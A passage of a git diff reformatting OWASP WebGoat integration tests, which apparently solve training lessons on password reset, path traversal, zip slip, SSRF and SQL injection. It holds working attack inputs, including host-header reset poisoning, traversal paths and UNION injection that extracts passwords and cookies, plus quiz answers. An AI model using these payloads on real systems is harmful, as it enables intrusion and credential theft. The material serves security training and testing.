.extract()
|
||||
.jsonPath();
|
||||
return jsonPath.getList("hint");
|
||||
}
|
||||
}
|
||||
|
@ -1,8 +1,11 @@
|
||||
package org.owasp.webgoat;
|
||||
|
||||
import io.restassured.RestAssured;
|
||||
import lombok.SneakyThrows;
|
||||
import static org.junit.jupiter.api.DynamicTest.dynamicTest;
|
||||
|
||||
import io.restassured.RestAssured;
|
||||
import java.util.Arrays;
|
||||
import java.util.Map;
|
||||
import lombok.SneakyThrows;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
import org.assertj.core.api.Assertions;
|
||||
import org.junit.jupiter.api.AfterEach;
|
||||
@ -10,109 +13,137 @@ import org.junit.jupiter.api.BeforeEach;
|
||||
import org.junit.jupiter.api.DynamicTest;
|
||||
import org.junit.jupiter.api.TestFactory;
|
||||
|
||||
import static org.junit.jupiter.api.DynamicTest.dynamicTest;
|
||||
|
||||
import java.util.Arrays;
|
||||
import java.util.Map;
|
||||
|
||||
public class PasswordResetLessonIntegrationTest extends IntegrationTest {
|
||||
|
||||
@BeforeEach
|
||||
@SneakyThrows
|
||||
public void init() {
|
||||
startLesson("/PasswordReset");
|
||||
}
|
||||
|
||||
@TestFactory
|
||||
Iterable<DynamicTest> passwordResetLesson() {
|
||||
return Arrays.asList(
|
||||
dynamicTest("assignment 6 - check email link",()-> sendEmailShouldBeAvailableInWebWolf()),
|
||||
dynamicTest("assignment 6 - solve assignment",()-> solveAssignment()),
|
||||
dynamicTest("assignment 2 - simple reset",()-> assignment2()),
|
||||
dynamicTest("assignment 4 - guess questions",()-> assignment4()),
|
||||
dynamicTest("assignment 5 - simple questions",()-> assignment5())
|
||||
);
|
||||
}
|
||||
public void assignment2() {
|
||||
checkAssignment(url("PasswordReset/simple-mail/reset"), Map.of("emailReset", this.getUser()+"@webgoat.org"), false);
|
||||
checkAssignment(url("PasswordReset/simple-mail"), Map.of("email", this.getUser()+"@webgoat.org", "password", StringUtils.reverse(this.getUser())), true);
|
||||
}
|
||||
|
||||
public void assignment4() {
|
||||
checkAssignment(url("PasswordReset/questions"), Map.of("username", "tom", "securityQuestion", "purple"), true);
|
||||
}
|
||||
|
||||
public void assignment5() {
|
||||
checkAssignment(url("PasswordReset/SecurityQuestions"), Map.of("question", "What is your favorite animal?"), false);
|
||||
checkAssignment(url("PasswordReset/SecurityQuestions"), Map.of("question", "What is your favorite color?"), true);
|
||||
}
|
||||
@BeforeEach
|
||||
@SneakyThrows
|
||||
public void init() {
|
||||
startLesson("/PasswordReset");
|
||||
}
|
||||
|
||||
|
||||
public void solveAssignment() {
|
||||
//WebGoat
|
||||
clickForgotEmailLink("tom@webgoat-cloud.org");
|
||||
@TestFactory
|
||||
Iterable<DynamicTest> passwordResetLesson() {
|
||||
return Arrays.asList(
|
||||
dynamicTest("assignment 6 - check email link", () -> sendEmailShouldBeAvailableInWebWolf()),
|
||||
dynamicTest("assignment 6 - solve assignment", () -> solveAssignment()),
|
||||
dynamicTest("assignment 2 - simple reset", () -> assignment2()),
|
||||
dynamicTest("assignment 4 - guess questions", () -> assignment4()),
|
||||
dynamicTest("assignment 5 - simple questions", () -> assignment5()));
|
||||
}
|
||||
|
||||
//WebWolf
|
||||
var link = getPasswordResetLinkFromLandingPage();
|
||||
public void assignment2() {
|
||||
checkAssignment(
|
||||
url("PasswordReset/simple-mail/reset"),
|
||||
Map.of("emailReset", this.getUser() + "@webgoat.org"),
|
||||
false);
|
||||
checkAssignment(
|
||||
url("PasswordReset/simple-mail"),
|
||||
Map.of(
|
||||
"email",
|
||||
this.getUser() + "@webgoat.org",
|
||||
"password",
|
||||
StringUtils.reverse(this.getUser())),
|
||||
true);
|
||||
}
|
||||
|
||||
//WebGoat
|
||||
changePassword(link);
|
||||
checkAssignment(url("PasswordReset/reset/login"), Map.of("email", "tom@webgoat-cloud.org", "password", "123456"), true);
|
||||
}
|
||||
public void assignment4() {
|
||||
checkAssignment(
|
||||
url("PasswordReset/questions"),
|
||||
Map.of("username", "tom", "securityQuestion", "purple"),
|
||||
true);
|
||||
}
|
||||
|
||||
public void sendEmailShouldBeAvailableInWebWolf() {
|
||||
clickForgotEmailLink(this.getUser() + "@webgoat.org");
|
||||
public void assignment5() {
|
||||
checkAssignment(
|
||||
url("PasswordReset/SecurityQuestions"),
|
||||
Map.of("question", "What is your favorite animal?"),
|
||||
false);
|
||||
checkAssignment(
|
||||
url("PasswordReset/SecurityQuestions"),
|
||||
Map.of("question", "What is your favorite color?"),
|
||||
true);
|
||||
}
|
||||
|
||||
var responseBody = RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("WEBWOLFSESSION", getWebWolfCookie())
|
||||
.get(webWolfUrl("/WebWolf/mail"))
|
||||
.then()
|
||||
.extract().response().getBody().asString();
|
||||
public void solveAssignment() {
|
||||
// WebGoat
|
||||
clickForgotEmailLink("tom@webgoat-cloud.org");
|
||||
|
||||
Assertions.assertThat(responseBody).contains("Hi, you requested a password reset link");
|
||||
}
|
||||
|
||||
@AfterEach
|
||||
public void shutdown() {
|
||||
//this will run only once after the list of dynamic tests has run, this is to test if the lesson is marked complete
|
||||
checkResults("/PasswordReset");
|
||||
}
|
||||
// WebWolf
|
||||
var link = getPasswordResetLinkFromLandingPage();
|
||||
|
||||
private void changePassword(String link) {
|
||||
// WebGoat
|
||||
changePassword(link);
|
||||
checkAssignment(
|
||||
url("PasswordReset/reset/login"),
|
||||
Map.of("email", "tom@webgoat-cloud.org", "password", "123456"),
|
||||
true);
|
||||
}
|
||||
|
||||
public void sendEmailShouldBeAvailableInWebWolf() {
|
||||
clickForgotEmailLink(this.getUser() + "@webgoat.org");
|
||||
|
||||
var responseBody =
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.formParams("resetLink", link, "password", "123456")
|
||||
.post(url("PasswordReset/reset/change-password"))
|
||||
.then()
|
||||
.statusCode(200);
|
||||
}
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("WEBWOLFSESSION", getWebWolfCookie())
|
||||
.get(webWolfUrl("/WebWolf/mail"))
|
||||
.then()
|
||||
.extract()
|
||||
.response()
|
||||
.getBody()
|
||||
.asString();
|
||||
|
||||
private String getPasswordResetLinkFromLandingPage() {
|
||||
var responseBody = RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("WEBWOLFSESSION", getWebWolfCookie())
|
||||
.get(webWolfUrl("/WebWolf/requests"))
|
||||
.then()
|
||||
.extract().response().getBody().asString();
|
||||
int startIndex = responseBody.lastIndexOf("/PasswordReset/reset/reset-password/");
|
||||
var link = responseBody.substring(startIndex + "/PasswordReset/reset/reset-password/".length(), responseBody.indexOf(",", startIndex) - 1);
|
||||
return link;
|
||||
}
|
||||
Assertions.assertThat(responseBody).contains("Hi, you requested a password reset link");
|
||||
}
|
||||
|
||||
private void clickForgotEmailLink(String user) {
|
||||
@AfterEach
|
||||
public void shutdown() {
|
||||
// this will run only once after the list of dynamic tests has run, this is to test if the
|
||||
// lesson is marked complete
|
||||
checkResults("/PasswordReset");
|
||||
}
|
||||
|
||||
private void changePassword(String link) {
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.formParams("resetLink", link, "password", "123456")
|
||||
.post(url("PasswordReset/reset/change-password"))
|
||||
.then()
|
||||
.statusCode(200);
|
||||
}
|
||||
|
||||
private String getPasswordResetLinkFromLandingPage() {
|
||||
var responseBody =
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.header("host", String.format("%s:%s", "localhost", getWebWolfPort()))
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.formParams("email", user)
|
||||
.post(url("PasswordReset/ForgotPassword/create-password-reset-link"))
|
||||
.then()
|
||||
.statusCode(200);
|
||||
}
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("WEBWOLFSESSION", getWebWolfCookie())
|
||||
.get(webWolfUrl("/WebWolf/requests"))
|
||||
.then()
|
||||
.extract()
|
||||
.response()
|
||||
.getBody()
|
||||
.asString();
|
||||
int startIndex = responseBody.lastIndexOf("/PasswordReset/reset/reset-password/");
|
||||
var link =
|
||||
responseBody.substring(
|
||||
startIndex + "/PasswordReset/reset/reset-password/".length(),
|
||||
responseBody.indexOf(",", startIndex) - 1);
|
||||
return link;
|
||||
}
|
||||
|
||||
private void clickForgotEmailLink(String user) {
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.header("host", String.format("%s:%s", "localhost", getWebWolfPort()))
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.formParams("email", user)
|
||||
.post(url("PasswordReset/ForgotPassword/create-password-reset-link"))
|
||||
.then()
|
||||
.statusCode(200);
|
||||
}
|
||||
}
|
||||
|
@ -1,16 +1,8 @@
|
||||
package org.owasp.webgoat;
|
||||
|
||||
import io.restassured.RestAssured;
|
||||
import lombok.SneakyThrows;
|
||||
import org.hamcrest.CoreMatchers;
|
||||
import org.hamcrest.MatcherAssert;
|
||||
import org.junit.jupiter.api.AfterEach;
|
||||
import org.junit.jupiter.api.BeforeEach;
|
||||
import org.junit.jupiter.api.DynamicTest;
|
||||
import org.junit.jupiter.api.TestFactory;
|
||||
import org.junit.jupiter.api.io.TempDir;
|
||||
import org.springframework.security.core.token.Sha512DigestUtils;
|
||||
import static org.junit.jupiter.api.DynamicTest.dynamicTest;
|
||||
|
||||
import io.restassured.RestAssured;
|
||||
import java.io.File;
|
||||
import java.io.FileOutputStream;
|
||||
import java.io.IOException;
|
||||
@ -21,117 +13,138 @@ import java.util.Arrays;
|
||||
import java.util.Map;
|
||||
import java.util.zip.ZipEntry;
|
||||
import java.util.zip.ZipOutputStream;
|
||||
|
||||
import static org.junit.jupiter.api.DynamicTest.dynamicTest;
|
||||
import lombok.SneakyThrows;
|
||||
import org.hamcrest.CoreMatchers;
|
||||
import org.hamcrest.MatcherAssert;
|
||||
import org.junit.jupiter.api.AfterEach;
|
||||
import org.junit.jupiter.api.BeforeEach;
|
||||
import org.junit.jupiter.api.DynamicTest;
|
||||
import org.junit.jupiter.api.TestFactory;
|
||||
import org.junit.jupiter.api.io.TempDir;
|
||||
import org.springframework.security.core.token.Sha512DigestUtils;
|
||||
|
||||
class PathTraversalIT extends IntegrationTest {
|
||||
|
||||
@TempDir
|
||||
Path tempDir;
|
||||
@TempDir Path tempDir;
|
||||
|
||||
private File fileToUpload = null;
|
||||
private File fileToUpload = null;
|
||||
|
||||
@BeforeEach
|
||||
@SneakyThrows
|
||||
public void init() {
|
||||
fileToUpload = Files.createFile(tempDir.resolve("test.jpg")).toFile();
|
||||
Files.write(fileToUpload.toPath(), "This is a test".getBytes());
|
||||
startLesson("PathTraversal");
|
||||
@BeforeEach
|
||||
@SneakyThrows
|
||||
public void init() {
|
||||
fileToUpload = Files.createFile(tempDir.resolve("test.jpg")).toFile();
|
||||
Files.write(fileToUpload.toPath(), "This is a test".getBytes());
|
||||
startLesson("PathTraversal");
|
||||
}
|
||||
|
||||
@TestFactory
|
||||
Iterable<DynamicTest> testPathTraversal() {
|
||||
return Arrays.asList(
|
||||
dynamicTest("assignment 1 - profile upload", () -> assignment1()),
|
||||
dynamicTest("assignment 2 - profile upload fix", () -> assignment2()),
|
||||
dynamicTest("assignment 3 - profile upload remove user input", () -> assignment3()),
|
||||
dynamicTest("assignment 4 - profile upload random pic", () -> assignment4()),
|
||||
dynamicTest("assignment 5 - zip slip", () -> assignment5()));
|
||||
}
|
||||
|
||||
private void assignment1() throws IOException {
|
||||
MatcherAssert.assertThat(
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.multiPart("uploadedFile", "test.jpg", Files.readAllBytes(fileToUpload.toPath()))
|
||||
.param("fullName", "../John Doe")
|
||||
.post(url("/WebGoat/PathTraversal/profile-upload"))
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract()
|
||||
.path("lessonCompleted"),
|
||||
CoreMatchers.is(true));
|
||||
}
|
||||
|
||||
private void assignment2() throws IOException {
|
||||
MatcherAssert.assertThat(
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.multiPart("uploadedFileFix", "test.jpg", Files.readAllBytes(fileToUpload.toPath()))
|
||||
.param("fullNameFix", "..././John Doe")
|
||||
.post(url("/WebGoat/PathTraversal/profile-upload-fix"))
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract()
|
||||
.path("lessonCompleted"),
|
||||
CoreMatchers.is(true));
|
||||
}
|
||||
|
||||
private void assignment3() throws IOException {
|
||||
MatcherAssert.assertThat(
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.multiPart(
|
||||
"uploadedFileRemoveUserInput",
|
||||
"../test.jpg",
|
||||
Files.readAllBytes(fileToUpload.toPath()))
|
||||
.post(url("/WebGoat/PathTraversal/profile-upload-remove-user-input"))
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract()
|
||||
.path("lessonCompleted"),
|
||||
CoreMatchers.is(true));
|
||||
}
|
||||
|
||||
private void assignment4() throws IOException {
|
||||
var uri = "/WebGoat/PathTraversal/random-picture?id=%2E%2E%2F%2E%2E%2Fpath-traversal-secret";
|
||||
RestAssured.given()
|
||||
.urlEncodingEnabled(false)
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.get(url(uri))
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.body(CoreMatchers.is("You found it submit the SHA-512 hash of your username as answer"));
|
||||
|
||||
checkAssignment(
|
||||
url("/WebGoat/PathTraversal/random"),
|
||||
Map.of("secret", Sha512DigestUtils.shaHex(this.getUser())),
|
||||
true);
|
||||
}
|
||||
|
||||
private void assignment5() throws IOException {
|
||||
var webGoatHome = webGoatServerDirectory() + "PathTraversal/" + this.getUser();
|
||||
webGoatHome =
|
||||
webGoatHome.replaceAll("^[a-zA-Z]:", ""); // Remove C: from the home directory on Windows
|
||||
|
||||
var webGoatDirectory = new File(webGoatHome);
|
||||
var zipFile = new File(tempDir.toFile(), "upload.zip");
|
||||
try (var zos = new ZipOutputStream(new FileOutputStream(zipFile))) {
|
||||
ZipEntry e = new ZipEntry("../../../../../../../../../../" + webGoatDirectory + "/image.jpg");
|
||||
zos.putNextEntry(e);
|
||||
zos.write("test".getBytes(StandardCharsets.UTF_8));
|
||||
}
|
||||
MatcherAssert.assertThat(
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.multiPart("uploadedFileZipSlip", "upload.zip", Files.readAllBytes(zipFile.toPath()))
|
||||
.post(url("/WebGoat/PathTraversal/zip-slip"))
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract()
|
||||
.path("lessonCompleted"),
|
||||
CoreMatchers.is(true));
|
||||
}
|
||||
|
||||
@TestFactory
|
||||
Iterable<DynamicTest> testPathTraversal() {
|
||||
return Arrays.asList(
|
||||
dynamicTest("assignment 1 - profile upload", () -> assignment1()),
|
||||
dynamicTest("assignment 2 - profile upload fix", () -> assignment2()),
|
||||
dynamicTest("assignment 3 - profile upload remove user input", () -> assignment3()),
|
||||
dynamicTest("assignment 4 - profile upload random pic", () -> assignment4()),
|
||||
dynamicTest("assignment 5 - zip slip", () -> assignment5())
|
||||
);
|
||||
}
|
||||
|
||||
private void assignment1() throws IOException {
|
||||
MatcherAssert.assertThat(
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.multiPart("uploadedFile", "test.jpg", Files.readAllBytes(fileToUpload.toPath()))
|
||||
.param("fullName", "../John Doe")
|
||||
.post(url("/WebGoat/PathTraversal/profile-upload"))
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract().path("lessonCompleted"), CoreMatchers.is(true));
|
||||
}
|
||||
|
||||
private void assignment2() throws IOException {
|
||||
MatcherAssert.assertThat(
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.multiPart("uploadedFileFix", "test.jpg", Files.readAllBytes(fileToUpload.toPath()))
|
||||
.param("fullNameFix", "..././John Doe")
|
||||
.post(url("/WebGoat/PathTraversal/profile-upload-fix"))
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract().path("lessonCompleted"), CoreMatchers.is(true));
|
||||
}
|
||||
|
||||
private void assignment3() throws IOException {
|
||||
MatcherAssert.assertThat(
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.multiPart("uploadedFileRemoveUserInput", "../test.jpg", Files.readAllBytes(fileToUpload.toPath()))
|
||||
.post(url("/WebGoat/PathTraversal/profile-upload-remove-user-input"))
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract().path("lessonCompleted"), CoreMatchers.is(true));
|
||||
}
|
||||
|
||||
private void assignment4() throws IOException {
|
||||
var uri = "/WebGoat/PathTraversal/random-picture?id=%2E%2E%2F%2E%2E%2Fpath-traversal-secret";
|
||||
RestAssured.given().urlEncodingEnabled(false)
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.get(url(uri))
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.body(CoreMatchers.is("You found it submit the SHA-512 hash of your username as answer"));
|
||||
|
||||
checkAssignment(url("/WebGoat/PathTraversal/random"), Map.of("secret",
|
||||
Sha512DigestUtils.shaHex(this.getUser())), true);
|
||||
}
|
||||
|
||||
private void assignment5() throws IOException {
|
||||
var webGoatHome = webGoatServerDirectory() + "PathTraversal/" + this.getUser();
|
||||
webGoatHome = webGoatHome.replaceAll("^[a-zA-Z]:", ""); //Remove C: from the home directory on Windows
|
||||
|
||||
var webGoatDirectory = new File(webGoatHome);
|
||||
var zipFile = new File(tempDir.toFile(), "upload.zip");
|
||||
try (var zos = new ZipOutputStream(new FileOutputStream(zipFile))) {
|
||||
ZipEntry e = new ZipEntry("../../../../../../../../../../" + webGoatDirectory + "/image.jpg");
|
||||
zos.putNextEntry(e);
|
||||
zos.write("test".getBytes(StandardCharsets.UTF_8));
|
||||
}
|
||||
MatcherAssert.assertThat(
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.multiPart("uploadedFileZipSlip", "upload.zip", Files.readAllBytes(zipFile.toPath()))
|
||||
.post(url("/WebGoat/PathTraversal/zip-slip"))
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract().path("lessonCompleted"), CoreMatchers.is(true));
|
||||
}
|
||||
|
||||
@AfterEach
|
||||
void shutdown() {
|
||||
//this will run only once after the list of dynamic tests has run, this is to test if the lesson is marked complete
|
||||
checkResults("/PathTraversal");
|
||||
}
|
||||
@AfterEach
|
||||
void shutdown() {
|
||||
// this will run only once after the list of dynamic tests has run, this is to test if the
|
||||
// lesson is marked complete
|
||||
checkResults("/PathTraversal");
|
||||
}
|
||||
}
|
||||
|
@ -2,10 +2,6 @@ package org.owasp.webgoat;
|
||||
|
||||
import io.restassured.RestAssured;
|
||||
import io.restassured.response.Response;
|
||||
|
||||
import org.assertj.core.api.Assertions;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.concurrent.Callable;
|
||||
@ -14,40 +10,48 @@ import java.util.concurrent.ExecutorService;
|
||||
import java.util.concurrent.Executors;
|
||||
import java.util.stream.Collectors;
|
||||
import java.util.stream.IntStream;
|
||||
import org.assertj.core.api.Assertions;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
public class ProgressRaceConditionIntegrationTest extends IntegrationTest {
|
||||
|
||||
@Test
|
||||
public void runTests() throws InterruptedException {
|
||||
int NUMBER_OF_CALLS = 40;
|
||||
int NUMBER_OF_PARALLEL_THREADS = 5;
|
||||
startLesson("Challenge1");
|
||||
|
||||
Callable<Response> call = () -> {
|
||||
//System.out.println("thread "+Thread.currentThread().getName());
|
||||
return RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.formParams(Map.of("flag", "test"))
|
||||
.post(url("/challenge/flag/"));
|
||||
@Test
|
||||
public void runTests() throws InterruptedException {
|
||||
int NUMBER_OF_CALLS = 40;
|
||||
int NUMBER_OF_PARALLEL_THREADS = 5;
|
||||
startLesson("Challenge1");
|
||||
|
||||
Callable<Response> call =
|
||||
() -> {
|
||||
// System.out.println("thread "+Thread.currentThread().getName());
|
||||
return RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.formParams(Map.of("flag", "test"))
|
||||
.post(url("/challenge/flag/"));
|
||||
};
|
||||
ExecutorService executorService = Executors.newWorkStealingPool(NUMBER_OF_PARALLEL_THREADS);
|
||||
List<? extends Callable<Response>> flagCalls = IntStream.range(0, NUMBER_OF_CALLS).mapToObj(i -> call).collect(Collectors.toList());
|
||||
var responses = executorService.invokeAll(flagCalls);
|
||||
ExecutorService executorService = Executors.newWorkStealingPool(NUMBER_OF_PARALLEL_THREADS);
|
||||
List<? extends Callable<Response>> flagCalls =
|
||||
IntStream.range(0, NUMBER_OF_CALLS).mapToObj(i -> call).collect(Collectors.toList());
|
||||
var responses = executorService.invokeAll(flagCalls);
|
||||
|
||||
//A certain amount of parallel calls should fail as optimistic locking in DB is applied
|
||||
long countStatusCode500 = responses.stream().filter(r -> {
|
||||
try {
|
||||
//System.err.println(r.get().getStatusCode());
|
||||
return r.get().getStatusCode() != 200;
|
||||
} catch (InterruptedException | ExecutionException e) {
|
||||
//System.err.println(e);
|
||||
throw new IllegalStateException(e);
|
||||
}
|
||||
}).count();
|
||||
System.err.println("counted status 500: "+countStatusCode500);
|
||||
Assertions.assertThat(countStatusCode500).isLessThanOrEqualTo((NUMBER_OF_CALLS - (NUMBER_OF_CALLS/NUMBER_OF_PARALLEL_THREADS)));
|
||||
}
|
||||
// A certain amount of parallel calls should fail as optimistic locking in DB is applied
|
||||
long countStatusCode500 =
|
||||
responses.stream()
|
||||
.filter(
|
||||
r -> {
|
||||
try {
|
||||
// System.err.println(r.get().getStatusCode());
|
||||
return r.get().getStatusCode() != 200;
|
||||
} catch (InterruptedException | ExecutionException e) {
|
||||
// System.err.println(e);
|
||||
throw new IllegalStateException(e);
|
||||
}
|
||||
})
|
||||
.count();
|
||||
System.err.println("counted status 500: " + countStatusCode500);
|
||||
Assertions.assertThat(countStatusCode500)
|
||||
.isLessThanOrEqualTo((NUMBER_OF_CALLS - (NUMBER_OF_CALLS / NUMBER_OF_PARALLEL_THREADS)));
|
||||
}
|
||||
}
|
||||
|
@ -3,28 +3,24 @@ package org.owasp.webgoat;
|
||||
import java.io.IOException;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
public class SSRFIntegrationTest extends IntegrationTest {
|
||||
|
||||
@Test
|
||||
public void runTests() throws IOException {
|
||||
startLesson("SSRF");
|
||||
|
||||
Map<String, Object> params = new HashMap<>();
|
||||
params.clear();
|
||||
params.put("url", "images/jerry.png");
|
||||
|
||||
checkAssignment(url("/WebGoat/SSRF/task1"),params,true);
|
||||
params.clear();
|
||||
params.put("url", "http://ifconfig.pro");
|
||||
|
||||
checkAssignment(url("/WebGoat/SSRF/task2"),params,true);
|
||||
|
||||
checkResults("/SSRF/");
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
@Test
|
||||
public void runTests() throws IOException {
|
||||
startLesson("SSRF");
|
||||
|
||||
Map<String, Object> params = new HashMap<>();
|
||||
params.clear();
|
||||
params.put("url", "images/jerry.png");
|
||||
|
||||
checkAssignment(url("/WebGoat/SSRF/task1"), params, true);
|
||||
params.clear();
|
||||
params.put("url", "http://ifconfig.pro");
|
||||
|
||||
checkAssignment(url("/WebGoat/SSRF/task2"), params, true);
|
||||
|
||||
checkResults("/SSRF/");
|
||||
}
|
||||
}
|
||||
|
@ -24,24 +24,22 @@
|
||||
package org.owasp.webgoat;
|
||||
|
||||
import java.util.Map;
|
||||
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
/**
|
||||
*
|
||||
* @author Angel Olle Blazquez
|
||||
*
|
||||
*/
|
||||
|
||||
class SessionManagementIT extends IntegrationTest {
|
||||
|
||||
private static final String HIJACK_LOGIN_CONTEXT_PATH = "/WebGoat/HijackSession/login";
|
||||
|
||||
private static final String HIJACK_LOGIN_CONTEXT_PATH = "/WebGoat/HijackSession/login";
|
||||
|
||||
@Test
|
||||
void hijackSessionTest() {
|
||||
startLesson("HijackSession");
|
||||
|
||||
checkAssignment(url(HIJACK_LOGIN_CONTEXT_PATH), Map.of("username", "webgoat", "password", "webgoat"), false);
|
||||
}
|
||||
@Test
|
||||
void hijackSessionTest() {
|
||||
startLesson("HijackSession");
|
||||
|
||||
checkAssignment(
|
||||
url(HIJACK_LOGIN_CONTEXT_PATH),
|
||||
Map.of("username", "webgoat", "password", "webgoat"),
|
||||
false);
|
||||
}
|
||||
}
|
||||
|
@ -2,48 +2,60 @@ package org.owasp.webgoat;
|
||||
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
public class SqlInjectionAdvancedIntegrationTest extends IntegrationTest {
|
||||
|
||||
@Test
|
||||
public void runTests() {
|
||||
startLesson("SqlInjectionAdvanced");
|
||||
@Test
|
||||
public void runTests() {
|
||||
startLesson("SqlInjectionAdvanced");
|
||||
|
||||
Map<String, Object> params = new HashMap<>();
|
||||
params.clear();
|
||||
params.put("username_reg", "tom' AND substring(password,1,1)='t");
|
||||
params.put("password_reg", "password");
|
||||
params.put("email_reg", "someone@microsoft.com");
|
||||
params.put("confirm_password", "password");
|
||||
checkAssignmentWithPUT(url("/WebGoat/SqlInjectionAdvanced/challenge"), params, true);
|
||||
Map<String, Object> params = new HashMap<>();
|
||||
params.clear();
|
||||
params.put("username_reg", "tom' AND substring(password,1,1)='t");
|
||||
params.put("password_reg", "password");
|
||||
params.put("email_reg", "someone@microsoft.com");
|
||||
params.put("confirm_password", "password");
|
||||
checkAssignmentWithPUT(url("/WebGoat/SqlInjectionAdvanced/challenge"), params, true);
|
||||
|
||||
params.clear();
|
||||
params.put("username_login", "tom");
|
||||
params.put("password_login", "thisisasecretfortomonly");
|
||||
checkAssignment(url("/WebGoat/SqlInjectionAdvanced/challenge_Login"), params, true);
|
||||
params.clear();
|
||||
params.put("username_login", "tom");
|
||||
params.put("password_login", "thisisasecretfortomonly");
|
||||
checkAssignment(url("/WebGoat/SqlInjectionAdvanced/challenge_Login"), params, true);
|
||||
|
||||
params.clear();
|
||||
params.put("userid_6a", "'; SELECT * FROM user_system_data;--");
|
||||
checkAssignment(url("/WebGoat/SqlInjectionAdvanced/attack6a"), params, true);
|
||||
params.clear();
|
||||
params.put("userid_6a", "'; SELECT * FROM user_system_data;--");
|
||||
checkAssignment(url("/WebGoat/SqlInjectionAdvanced/attack6a"), params, true);
|
||||
|
||||
params.clear();
|
||||
params.put("userid_6a", "Smith' union select userid,user_name, user_name,user_name,password,cookie,userid from user_system_data --");
|
||||
checkAssignment(url("/WebGoat/SqlInjectionAdvanced/attack6a"), params, true);
|
||||
params.clear();
|
||||
params.put(
|
||||
"userid_6a",
|
||||
"Smith' union select userid,user_name, user_name,user_name,password,cookie,userid from"
|
||||
+ " user_system_data --");
|
||||
checkAssignment(url("/WebGoat/SqlInjectionAdvanced/attack6a"), params, true);
|
||||
|
||||
params.clear();
|
||||
params.put("userid_6b", "passW0rD");
|
||||
checkAssignment(url("/WebGoat/SqlInjectionAdvanced/attack6b"), params, true);
|
||||
params.clear();
|
||||
params.put("userid_6b", "passW0rD");
|
||||
checkAssignment(url("/WebGoat/SqlInjectionAdvanced/attack6b"), params, true);
|
||||
|
||||
params.clear();
|
||||
params.put("question_0_solution", "Solution 4: A statement has got values instead of a prepared statement");
|
||||
params.put("question_1_solution", "Solution 3: ?");
|
||||
params.put("question_2_solution", "Solution 2: Prepared statements are compiled once by the database management system waiting for input and are pre-compiled this way.");
|
||||
params.put("question_3_solution", "Solution 3: Placeholders can prevent that the users input gets attached to the SQL query resulting in a seperation of code and data.");
|
||||
params.put("question_4_solution", "Solution 4: The database registers 'Robert' ); DROP TABLE Students;--'.");
|
||||
checkAssignment(url("/WebGoat/SqlInjectionAdvanced/quiz"), params, true);
|
||||
params.clear();
|
||||
params.put(
|
||||
"question_0_solution",
|
||||
"Solution 4: A statement has got values instead of a prepared statement");
|
||||
params.put("question_1_solution", "Solution 3: ?");
|
||||
params.put(
|
||||
"question_2_solution",
|
||||
"Solution 2: Prepared statements are compiled once by the database management system"
|
||||
+ " waiting for input and are pre-compiled this way.");
|
||||
params.put(
|
||||
"question_3_solution",
|
||||
"Solution 3: Placeholders can prevent that the users input gets attached to the SQL query"
|
||||
